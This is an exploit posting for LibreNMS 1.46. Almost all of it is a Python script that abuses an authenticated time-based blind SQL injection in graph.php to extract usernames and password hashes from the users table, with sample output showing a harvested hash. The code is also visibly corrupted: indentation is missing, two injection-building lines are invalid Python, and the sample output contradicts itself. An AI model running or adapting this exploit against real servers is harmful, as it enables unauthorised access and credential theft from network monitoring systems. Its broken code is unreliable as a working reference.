Authored by Hodorsec

LibreNMS version 1.46 suffers from an authenticated remote SQL injection vulnerability in the MAC Account Graph. Original discovery of SQL injection in this version is attributed to Punt in May of 2020.

# Exploit Title: LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection
# Google Dork: Unknown
# Date: 13-12-2020
# Exploit Author: Hodorsec
# Vendor Homepage: https://www.librenms.org
# Software Link: https://github.com/librenms/librenms
# Update notice: https://community.librenms.org/t/v1-69-october-2020-info/13838
# Version: 1.46
# Tested on: Debian 10, PHP 7, LibreNMS 1.46; although newer version might be affected until 1.69 patch
# CVE : N/A

#!/usr/bin/python3

# EXAMPLE:
# $ python3 poc_librenms-1.46_auth_sqli_timed.py librenms D32fwefwef http://192.168.252.14 2
# [*] Checking if authentication for page is required...
# [*] Visiting page to retrieve initial token and cookies...
# [*] Retrieving authenticated cookie...
# [*] Printing number of rows in table...
# 1
# [*] Found 1 rows of data in table 'users'
#
# [*] Retrieving 1 rows of data using 'username' as column and 'users' as table...
# [*] Extracting strings from row 1...
# librenms
# [*] Retrieved value 'librenKs' for column 'username' in row 1
# [*] Retrieving 1 rows of data using 'password' as column and 'users' as table...
# [*] Extracting strings from row 1...
# $2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr
# [*] Retrieved value '$2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr' for column 'password' in row 1
#
# [+] Done!

import requests
import urllib3
import os
import sys
import re
from bs4 import BeautifulSoup

# Optionally, use a proxy
# proxy = "http://<user>:<pass>@<proxy>:<port>"
proxy = ""
os.environ['http_proxy'] = proxy
os.environ['HTTP_PROXY'] = proxy
os.environ['https_proxy'] = proxy
os.environ['HTTPS_PROXY'] = proxy

# Disable cert warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set timeout
timeout = 10

# Injection prefix and suffix
inj_prefix = "(select(sleep("
inj_suffix = ")))))"

# Decimal begin and end
dec_begin = 48
dec_end = 57

# ASCII char begin and end
ascii_begin = 32
ascii_end = 126

# Handle CTRL-C
def keyboard_interrupt():
"""Handles keyboardinterrupt exceptions"""
print("nn[*] User requested an interrupt, exiting...")
exit(0)

# Custom headers
def http_headers():
headers = {
'User-Agent': 'Mozilla',
}
return headers

def check_auth(url,headers):
print("[*] Checking if authentication for page is required...")
target = url + "/graph.php"
r = requests.get(target,headers=headers,timeout=timeout,verify=False)
if "Unauthorized" in r.text:
return True
else:
return False

def get_initial_token_and_cookies(url,headers):
print("[*] Visiting page to retrieve initial token and cookies...")
target = url + "/login"
r = requests.get(target,headers=headers,timeout=timeout,verify=False)
soup = BeautifulSoup(r.text,'html.parser')
for n in soup('input'):
if n['name'] == "_token":
token = n['value']
return token,r.cookies
else:
return None,r.cookies

def get_valid_cookie(url,headers,token,cookies,usern,passw):
print("[*] Retrieving authenticated cookie...")
appl_cookie = "laravel_session"
post_data = {'_token':token,
'username':usern,
'password':passw,
'submit':''}
target = url + "/login"
r = requests.post(target,data=post_data,headers=headers,cookies=cookies,timeout=timeout,verify=False)
res = r.text
if "Overview | LibreNMS" in res:
return r.cookies
else:
print("[!] No valid response from used session, exiting!n")
exit(-1)

# Perform the SQLi call for injection
def sqli(url,headers,cookies,inj_str,sleep):
comment_inj_str = re.sub(" ","/**/",inj_str)
inj_params = {'id':'1',
'stat':'none',
'type':'port_mac_acc_total',
'sort':comment_inj_str,
'debug':'1'}
inj_params_unencoded = "&".join("%s=%s" % (k,v) for k,v in inj_params.items())
# Do GET request
r = requests.get(url,params=inj_params_unencoded,headers=headers,cookies=cookies,timeout=timeout,verify=False)
res = r.elapsed.total_seconds()
if res >= sleep:
return True
elif res < sleep:
return False
else:
print("[!] Something went wrong checking responses. Check responses manually. Exiting.")
exit(-1)

# Extract rows
def get_rows(url,headers,cookies,table,sleep):
rows = ""
max_pos_rows = 4
# Get number maximum positional characters of rows: e.g. 1096,2122,1234,etc.
for pos in range(1,max_pos_rows+1):
# Test if current pos does have any valid value. If not, break
direction = ">"
inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))" + direction + "1,0," + str(sleep) + inj_suffix
if not sqli(url,headers,cookies,inj_str,sleep):
break
# Loop decimals
direction = "="
for num_rows in range(dec_begin,dec_end+1):
row_char = chr(num_rows)
inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))"=+ direction + str(num_rows) + ",0," + str(sleep) + inj_suffix
if sqli(url,headers,cookies,inj_str,sleep):
rows += row_char
print(row_char,end='',flush=True)
break
if rows != "":
print("n[*] Found " + rows + " rows of data in table '" + table + "'n")
return int(rows)
else:
return False

# Loop through positions and characters
def get_data(url,headers,cookies,row,column,table,sleep):
extracted = ""
max_pos_len = 50
# Loop through length of string
# Not very efficient, should use a guessing algorithm
print("[*] Extracting strings from row " + str(row+1) + "...")
for pos in range(1,max_pos_len):
# Test if current pos does have any valid value. If not, break
direction = ">"
inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) += ",1)," + str(pos) + ",1))" + direction + str(ascii_begin) + ",0," + str(sleep) + inj_suffix
if not sqli(url,headers,cookies,inj_str,sleep):
break
# Loop through ASCII printable characters
direction = "="
for guess in range(ascii_begin,ascii_end+1):
extracted_char = chr(guess)
inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) + ",1)," + str(pos) + ",1))" + direction + str(guess) + ",0," + str(sleep) + inj_suffix
if sqli(url,headers,cookies,inj_str,sleep):
extracted += chr(guess)
print(extracted_char,end='',flush=True)
break
return extracted

# Main
def main(argv):
if len(sys.argv) == 5:
usern = sys.argv[1]
passw = sys.argv[2]
url = sys.argv[3]
sleep = int(sys.argv[4])
else:
print("[*] Usage: " + sys.argv[0] + " <username> <password> <url> <sleep_in_seconds>n")
exit(0)

# Random headers
headers = http_headers()

# Do stuff
try:
# Get a valid initial token and cookies
token,cookies = get_initial_token_and_cookies(url,headers)

# Check if authentication is required
auth_required = check_auth(url,headers)

if auth_required:
# Get an authenticated session cookie using credentials
valid_cookies = get_valid_cookie(url,headers,token,cookies,usern,passw)
else:
valid_cookies = cookies
print("[+] Authentication not required, continue without authentication...")

# Setting the correct vulnerable page
url = url + "/graph.php"

# The columns to retrieve
columns = ['username','password']

# The table to retrieve data from
table = "users"

# Getting rows
print("[*] Printing number of rows in table...")
rows = get_rows(url,headers,valid_cookies,table,sleep)
if not rows:
print("[!] Unable to retrieve rows, checks requests.n")
exit(-1)

# Getting values for found rows in specified columns
for column in columns:
print("[*] Retrieving " + str(rows) + " rows of data using '" + column + "' as column and '" + table + "' as table...")
for row in range(0,rows):
# rowval_len = get_length(url,headers,row,column,table)
retrieved = get_data(url,headers,valid_cookies,row,column,table,sleep)
print("n[*] Retrieved value '" + retrieved + "' for column'" + column + "' in row " + str(row+1))
# Done
print("n[+] Done!n")

except requests.exceptions.Timeout:
print("[!] Timeout errorn")
exit(-1)
except requests.exceptions.TooManyRedirects:
print("[!] Too many redirectsn")
exit(-1)
except requests.exceptions.ConnectionError:
print("[!] Not able to connect to URLn")
exit(-1)
except requests.exceptions.RequestException as e:
print("[!] " + str(e))
exit(-1)
except requests.exceptions.HTTPError as e:
print("[!] Failed with error code - " + str(e.code) + "n")
exit(-1)
except KeyboardInterrupt:
keyboard_interrupt()
exit(-1)

# If we were called as a program, go execute the main function.
if __name__ == "__main__":
main(sys.argv[1:])